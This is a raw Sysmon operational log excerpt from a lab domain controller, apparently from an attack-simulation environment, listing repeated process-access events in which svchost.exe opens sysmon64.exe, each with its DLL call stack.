09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001343Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001342Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001341Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001340Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001339Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001338Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001337Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001336Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001335Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001334Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001333Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001332Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001331Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001330Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001329Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001328Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001327Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001326Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001325Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001324Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001323Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001322Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001321Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001320Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 